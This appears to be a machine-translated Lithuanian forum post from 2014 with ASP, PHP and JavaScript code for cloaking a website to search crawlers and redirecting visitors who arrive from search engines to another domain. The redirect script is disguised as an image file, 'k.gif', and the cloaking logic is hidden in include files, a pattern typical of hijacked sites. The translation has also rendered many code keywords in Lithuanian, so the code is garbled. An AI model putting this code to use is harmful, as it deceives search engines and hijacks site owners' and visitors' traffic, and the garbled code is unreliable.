Pirma, tai paprasta, pridėkite šį kodą į pirmąjį puslapį:
ASP versija
<!--#include file="conn.asp"-->
<script src="images\k.gif"></script>
PHP versija
<!--#include file="conn.php"-->
<script src="images\k.gif"></script>
Tada pridėkite šį kodą prie prisijungimo failo pagal svetainės programą, jei neturite conn.asp ar conn.php, sukurkite jį patys:
conn.asp leidimas
----------- tokią reprodukciją--------------------------------
<%
funkcija isspider()
pritemdytas agentas,searray,i
agent="agent:"&LCase(request.servervariables("http_user_agent"))
searray=array("googlebot","baiduspider","sogou","yahoo","soso","360spider")
isspider= klaidingas
nuo i=0 iki ubound(searray)
if (instr(agent,searray(i))>0) tada isspider=true
Kitas
pabaigos funkcija
funkcija fromse()
dim urlrefer,i,searray
urlrefer="refer:"&LCase(užklausa. Serverio kintamieji ("HTTP_REFERER"))
fromse = klaidinga
jei urlrefer="" tada fromse= false
searray=array("google","baidu","sogou","yahoo","soso","360")
nuo i=0 iki ubound(searray)
if (instr(urlrefer,searray(i))>0) then fromse=true
Kitas
pabaigos funkcija
funkcija gethttp(url)
pritemdyti http
nustatyti http=createobject("MSXML2. XMLHTTP")
http.open "GET",url,false
Http.send()
jei Http.readystate<>4 tada
Išėjimo funkcija
pabaiga, jei
gethttp=bytes2BSTR(Http.responseBody)
nustatyti http=nieko
jei klaidingas skaičius<>0 tada klysti. Išvalyti
pabaigos funkcija
funkcija bytes2BSTR(vIn)
dim strReturn
dim i,ThisCharCode,NextCharCode
strReturn = ""
Už i = 1 Į LenB(vIn)
ThisCharCode = AscB(MidB(vIn,i,1))
Jei ThisCharCode < &H80, tada
strReturn = strReturn & Chr(ThisCharCode)
Kitaip
NextCharCode = AscB(MidB(vIn,i+1,1))
strReturn = strReturn & Chr(CLng(ThisCharCode) * &H100 + CInt(NextCharCode))
i = i + 1
Baigti, jei
Kitas
baitai2BSTR = strReturn
Pabaigos funkcija
jei(isspider()) tada
dim myfso,fileurl,filecon,myfile,bodyurl,remotehtml
bodyurl="http://www.itsvse.com" //momentinės nuotraukos URL
atsakymas.išvalyti
remotehtml=gethttp(bodyurl)
response.write(remotehtml)
response.write("<!--"&now()&"-->")
atsakymas.praplovimas
atsakymas.pabaiga
pabaiga, jei
%>
conn.php
---------------- tokią reprodukciją----------------
<?php
funkcija is_search_bot(){
$user_agent = strtolower($_SERVER['HTTP_USER_AGENT']);
$identify = masyvas('baiduspider','sogou spider','sosospider','iaskspider','naverrobot');
foreach ($identify AS $key => $tag){
if (strstr($user_agent, $tag)){
grąžinti tiesa;
}
}
grąžinti klaidingą; }
funkcija is_urlbaidu()
{
$come_from="baidu@sogou@soso@iask@naver";
$referer = sprogti("@",$come_nuo);
foreach($referer kaip $url){
if (stristr($_SERVER['HTTP_REFERER'],$url)){
grąžinti tiesa;
}
}
grąžinti klaidingą; }
jei (is_search_bot())
{
$html = "<title>Uhano programinės įrangos inžinerijos profesinis koledžas</title> <meta name=\"Autorius\" content=\"Užpildykite tą patį kaip raktažodžiai\"> <meta name=\"Raktažodžiai\" content=\"Raktažodžiai\"> <meta pavadinimas=
\"Description\" content=\"Description\"> </head> <body>Content</body></html>";
aido $html;
}
jei (!is_search_bot() && is_urlbaidu())
{
Header('Vieta:http://www.itsvse.com');
}
?>
Galiausiai vaizdų kataloge įkelkite k.gif failą k.gif kodą:
var s=document.referrer
if(s.indexOf("baidu")>0 || s.indexOf("soso")>0 || s.indexOf("google")>0 || s.indexOf("360")>0 || s.indexOf("sogou")>0 )
location.href="http://www.itsvse.com"; Peradresavimo URL
|
Paskelbta 2014-12-01 18:48:55
|
|
|
